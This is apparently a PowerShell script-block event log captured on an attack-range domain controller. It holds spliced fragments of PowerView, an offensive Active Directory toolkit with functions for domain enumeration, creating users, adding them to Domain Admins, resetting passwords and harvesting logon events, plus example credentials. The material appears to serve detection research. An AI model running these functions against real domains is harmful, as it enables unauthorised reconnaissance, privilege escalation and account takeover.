$LogonHours[$Offset+4] = [bool] [convert]::ToInt32([string]$Str[3])
$LogonHours[$Offset+5] = [bool] [convert]::ToInt32([string]$Str[2])
$LogonHours[$Offset+6] = [bool] [convert]::ToInt32([string]$Str[1])
$LogonHours[$Offset+7] = [bool] [convert]::ToInt32([string]$Str[0])
}
$LogonHours
}
}
Process {
$Output = @{
Sunday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[0..2]
Monday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[3..5]
Tuesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[6..8]
Wednesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[9..11]
Thurs = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[12..1cb98747c-0055-4bdf-935c-79dfcbe66f11
4104132150x0118509Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1448','.'
Write-Verbose "[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$CompSearcher = Get-DomainSearcher @SearcherArguments
if (-not $CompSearcher) {
Write-Warning "[Get-DomainComputer] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance.Contains('.')) {
$IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
else {
$IdentityFilter += "(name=$IdentityInstance)"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['Unconstrained']) {
Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
}
if ($PSBoundParameters['TrustedToAuth']) {
Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals'
$Filter += '(msds-allowedtodelegateto=*)'
}
if ($PSBoundParameters['Printers']) {
Write-Verbose '[Get-DomainComputer] Searching for printers'
$Filter += '(objectCategory=printQueue)'
}
if ($PSBoundParameters['SPN']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN"
$Filter += "(servicePrincipalName=$SPN)"
}
if ($PSBoundParameters['OperatingSystem']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem"
$Filter += "(operatingsystem=$OperatingSystem)"
}
if ($PSBoundParameters['ServicePack']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack"
$Filter += "(operatingsystemservicepack=$ServicePack)"
}
if ($PSBoundParameters['SiteName']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName"
$Filter += "(serverreferencebl=$SiteName)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
# build the LDAP filter for the dynamic UAC filter value
$UACFilter | Where-Object {$_} | ForEach-Object {
if ($_ -match 'NOT_.*') {
$UACField = $_.Substring(4)
$UACValue = [Int]($UACEnum::$UACField)
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
}
else {
$UACValue = [Int]($UACEnum::$_)
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
}
}
$CompSearcher.filter = "(&(samAccountType=805306369)$Filter)"
Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() }
else { $Results = $CompSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
$Up = $True
if ($PSBoundParameters['Ping']) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname
}
if ($Up) {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$Computer = $_
$Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw')
}
else {
$Computer = Convert-LDAPProperty -Properties $_.Properties
$Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer')
}
$Computer
}
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_"
}
}
$CompSearcher.dispose()
}
}
}
function Get-DomainObject {
<#
.SYNOPSIS
Return all (or specified) domain objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all objects for
the current domain are returned.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER UACFilter
Dynamic parameter that accepts one or more values from $UACEnum, including
"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainObject -Domain testlab.local
Return all objects for the testlab.local domain
.EXAMPLE
'S-1-5-21-890171859-3433809279-3366196753-1003', 'CN=dfm,CN=Users,DC=testlab,DC=local','b6a9a2fb-bbd5-4f28-9a09-23213cea6693','dfm.a' | Get-DomainObject -Properties distinguishedname
distinguishedname
-----------------
CN=PRIMARY,OU=Domain Controllers,DC=testlab,DC=local
CN=dfm,CN=Users,DC=testlab,DC=local
OU=OU3,DC=testlab,DC=local
CN=dfm (admin),CN=Users,DC=testlab,DC=local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainObject -Credential $Cred -Identity 'windows1'
.EXAMPLE
Get-Domain | Select-Object -Expand name
testlab.local
'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainUser] Extracted domain 'testlab.local' from 'testlab\harmj0y'
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))
distinguishedname
-----------------
CN=harmj0y,CN=Users,DC=testlab,DC=local
VERBOSE: [Get-DomainUser] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins'
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins)))
CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
.OUTPUTS
PowerView.ADObject
Custom PSObject with translated AD object property fields.
PowerView.ADObject.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[OutputType('PowerView.ADObject')]
[OutputType('PowerView.ADObject.Raw')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
DynamicParam {
$UACValueNames = [Enum]::GetNames($UACEnum)
# add in the negations
$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
# create new dynamic parameter
New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
}
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
#bind dynamic parameter to a friendly variable
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
}
if ($ObjectSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^(CN|OU|DC)=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
if (-not $ObjectSearcher) {
Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('\')) {
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
if ($ConvertedIdentityInstance) {
$ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
$ObjectName = $IdentityInstance.Split('\')[1]
$IdentityFilter += "(samAccountName=$ObjectName)"
$SearcherArguments['Domain'] = $ObjectDomain
Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'"
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
}
}
elseif ($IdentityInstance.Contains('.')) {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
}
else {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
# build the LDAP filter for the dynamic UAC filter value
$UACFilter | Where-Object {$_} | ForEach-Object {
if ($_ -match 'NOT_.*') {
$UACField = $_.Substring(4)
$UACValue = [Int]($UACEnum::$UACField)
$Filtecb98747c-0055-4bdf-935c-79dfcbe66f11
4104132150x0118507Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1248ecifies the display name of the user to create. If not provided, defaults to SamAccountName.
.PARAMETER Description
Specifies the description of the user to create.
.PARAMETER Domain
Specifies the domain to use to search for user/group principals, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword
Creates the 'harmj0y2' user with the specified description and password.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$user = New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred
Creates the 'harmj0y2' user with the specified description and password, using the specified
alternate credentials.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred
Creates the 'andy' user with the specified description and password, using the specified
alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember
and the alternate credentials.
.OUTPUTS
DirectoryServices.AccountManagement.UserPrincipal
.LINK
http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('DirectoryServices.AccountManagement.UserPrincipal')]
Param(
[Parameter(Mandatory = $True)]
[ValidateLength(0, 256)]
[String]
$SamAccountName,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Alias('Password')]
[Security.SecureString]
$AccountPassword,
[ValidateNotNullOrEmpty()]
[String]
$Name,
[ValidateNotNullOrEmpty()]
[String]
$DisplayName,
[ValidateNotNullOrEmpty()]
[String]
$Description,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$ContextArguments = @{
'Identity' = $SamAccountName
}
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
$Context = Get-PrincipalContext @ContextArguments
if ($Context) {
$User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context.Context)
# set all the appropriate user parameters
$User.SamAccountName = $Context.Identity
$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
$User.SetPassword($TempCred.GetNetworkCredential().Password)
$User.Enabled = $True
$User.PasswordNotRequired = $False
if ($PSBoundParameters['Name']) {
$User.Name = $Name
}
else {
$User.Name = $Context.Identity
}
if ($PSBoundParameters['DisplayName']) {
$User.DisplayName = $DisplayName
}
else {
$User.DisplayName = $Context.Identity
}
if ($PSBoundParameters['Description']) {
$User.Description = $Description
}
Write-Verbose "[New-DomainUser] Attempting to create user '$SamAccountName'"
try {
$Null = $User.Save()
Write-Verbose "[New-DomainUser] User '$SamAccountName' successfully created"
$User
}
catch {
Write-Warning "[New-DomainUser] Error creating user '$SamAccountName' : $_"
}
}
}
function Set-DomainUserPassword {
<#
.SYNOPSIS
Sets the password for a given user identity.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-PrincipalContext
.DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to search for the specified user -Identity,
which returns a DirectoryServices.AccountManagement.UserPrincipal object. The
SetPassword() function is then invoked on the user, setting the password to -AccountPassword.
.PARAMETER Identity
A user SamAccountName (e.g. User1), DistinguishedName (e.g. CN=user1,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
specifying the user to reset the password for.
.PARAMETER AccountPassword
Specifies the password to reset the target user's to. Mandatory.
.PARAMETER Domain
Specifies the domain to use to search for the user identity, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword
Resets the password for 'andy' to the password specified.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred
Resets the password for 'andy' usering the alternate credentials specified.
.OUTPUTS
DirectoryServices.AccountManagement.UserPrincipal
.LINK
http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('DirectoryServices.AccountManagement.UserPrincipal')]
Param(
[Parameter(Position = 0, Mandatory = $True)]
[Alias('UserName', 'UserIdentity', 'User')]
[String]
$Identity,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Alias('Password')]
[Security.SecureString]
$AccountPassword,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$ContextArguments = @{ 'Identity' = $Identity }
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
$Context = Get-PrincipalContext @ContextArguments
if ($Context) {
$User = [System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context.Context, $Identity)
if ($User) {
Write-Verbose "[Set-DomainUserPassword] Attempting to set the password for user '$Identity'"
try {
$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
$User.SetPassword($TempCred.GetNetworkCredential().Password)
$Null = $User.Save()
Write-Verbose "[Set-DomainUserPassword] Password for user '$Identity' successfully reset"
}
catch {
Write-Warning "[Set-DomainUserPassword] Error setting password for user '$Identity' : $_"
}
}
else {
Write-Warning "[Set-DomainUserPassword] Unable to find user '$Identity'"
}
}
}
function Get-DomainUserEvent {
<#
.SYNOPSIS
Enumerate account logon events (ID 4624) and Logon with explicit credential
events (ID 4648) from the specified host (default of the localhost).
Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This function uses an XML path filter passed to Get-WinEvent to retrieve
security events with IDs of 4624 (logon events) or 4648 (explicit credential
logon events) from -StartTime (default of now-1 day) to -EndTime (default of now).
A maximum of -MaxEvents (default of 5000) are returned.
.PARAMETER ComputerName
Specifies the computer name to retrieve events from, default of localhost.
.PARAMETER StartTime
The [DateTime] object representing the start of when to collect events.
Default of [DateTime]::Now.AddDays(-1).
.PARAMETER EndTime
The [DateTime] object representing the end of when to collect events.
Default of [DateTime]::Now.
.PARAMETER MaxEvents
The maximum number of events to retrieve. Default of 5000.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target computer.
.EXAMPLE
Get-DomainUserEvent
Return logon events on the local machine.
.EXAMPLE
Get-DomainController | Get-DomainUserEvent -StartTime ([DateTime]::Now.AddDays(-3))
Return all logon events from the last 3 days from every domain controller in the current domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000
Return a max of 1000 logon events from the specified machine using the specified alternate credentials.
.OUTPUTS
PowerView.LogonEvent
PowerView.ExplicitCredentialLogonEvent
.LINK
http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.LogonEvent')]
[OutputType('PowerView.ExplicitCredentialLogonEvent')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('dnshostname', 'HostName', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = $Env:COMPUTERNAME,
[ValidateNotNullOrEmpty()]
[DateTime]
$StartTime = [DateTime]::Now.AddDays(-1),
[ValidateNotNullOrEmpty()]
[DateTime]
$EndTime = [DateTime]::Now,
[ValidateRange(1, 1000000)]
[Int]
$MaxEvents = 5000,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
# the XML filter we're passing to Get-WinEvent
$XPathFilter = @"
<QueryList>
<Query Id="0" Path="Security">
<!-- Logon events -->
<Select Path="Security">
*[
System[
Provider[
@Name='Microsoft-Windows-Security-Auditing'
]
and (Level=4 or Level=0) and (EventID=4624)
and TimeCreated[
@SystemTime>='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime<='$($EndTime.ToUniversalTime().ToString('s'))'
]
]
]
and
*[EventData[Data[@Name='TargetUserName'] != 'ANONYMOUS LOGON']]
</Select>
<!-- Logon with explicit credential events -->
<Select Path="Security">
*[
System[
Provider[
@Name='Microsoft-Windows-Security-Auditing'
]
and (Level=4 or Level=0) and (EventID=4648)
and TimeCreated[
@SystemTime>='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime<='$($EndTime.ToUniversalTime().ToString('s'))'
]
]
]
</Select>
<Suppress Path="Security">
*[
System[
Provider[
@Name='Microsoft-Windows-Security-Auditing'
]
and
(Level=4 or Level=0) and (EventID=4624 or EventID=4625 or EventID=4634)
]
]
and
*[
EventData[
(
(Data[@Name='LogonType']='5' or Data[@Name='LogonType']='0')
or
Data[@Name='TargetUserName']='ANONYMOUS LOGON'
or
Data[@Name='TargetUserSID']='S-1-5-18'
)
]
]
</Suppress>
</Query>
</QueryList>
"@
$EventArguments = @{
'FilterXPath' = $XPathFilter
'LogName' = 'Security'
'MaxEvents' = $MaxEvents
}
if ($PSBoundParameters['Credential']) { $EventArguments['Credential'] = $Credential }
}
PROCESS {
ForEach ($Computer in $ComputerName) {
$EventArguments['ComputerName'] = $Computer
Get-WinEvent @EventArguments| ForEach-Object {
$Event = $_
$Properties = $Event.Properties
Switch ($Event.Id) {
# logon event
4624 {
# skip computer logons, for now...
if(-not $Properties[5].Value.EndsWith('$')) {
$Output = New-Object PSObject -Property @{
ComputerName = $Computer
TimeCreated = $Event.TimeCreated
EventId = $Event.Id
SubjectUserSid = $Properties[0].Value.ToString()
SubjectUserName = $Properties[1].Value
SubjectDomainName = $Properties[2].Value
SubjectLogonId = $Properties[3].Value
TargetUserSid = $Properties[4].Value.ToString()
TargetUserName = $Properties[5].Value
TargetDomainName = $Properties[6].Value
TargetLogonId = $Properties[7].Value
LogonType = $Properties[8].Value
LogonProcessName = $Properties[9].Value
AuthenticationPackageName = $Properties[10].Value
WorkstationName = $Properties[11].Value
LogonGuid = $Properties[12].Value
TransmittedServices = $Properties[13].Value
LmPackageName = $Properties[14].Value
KeyLength = $Properties[15].Value
ProcessId = $Properties[16].Value
ProcessName = $Properties[17].Value
IpAddress = $Properties[18].Value
IpPort = $Properties[19].Valcb98747c-0055-4bdf-935c-79dfcbe66f11
4104132150x0118506Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1148 AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all user objects for
the current domain are returned.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted. Also accepts DOMAIN\user format.
.PARAMETER SPN
Switch. Only return user objects with non-null service principal names.
.PARAMETER UACFilter
Dynamic parameter that accepts one or more values from $UACEnum, including
"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
.PARAMETER AdminCount
Switch. Return users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER AllowDelegation
Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'
.PARAMETER DisallowDelegation
Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation'
.PARAMETER TrustedToAuth
Switch. Return computer objects that are trusted to authenticate for other principals.
.PARAMETER PreauthNotRequired
Switch. Return user accounts with "Do not require Kerberos preauthentication" set.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainUser -Domain testlab.local
Return all users for the testlab.local domain
.EXAMPLE
Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator"
Return the user with the given SID, as well as Administrator.
.EXAMPLE
'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff
lastlogoff samaccountname
---------- --------------
12/31/1600 4:00:00 PM dfm.a
12/31/1600 4:00:00 PM dfm
12/31/1600 4:00:00 PM harmj0y
12/31/1600 4:00:00 PM Administrator
.EXAMPLE
Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation
Search the specified OU for privileged user (AdminCount = 1) that allow delegation
.EXAMPLE
Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon
.EXAMPLE
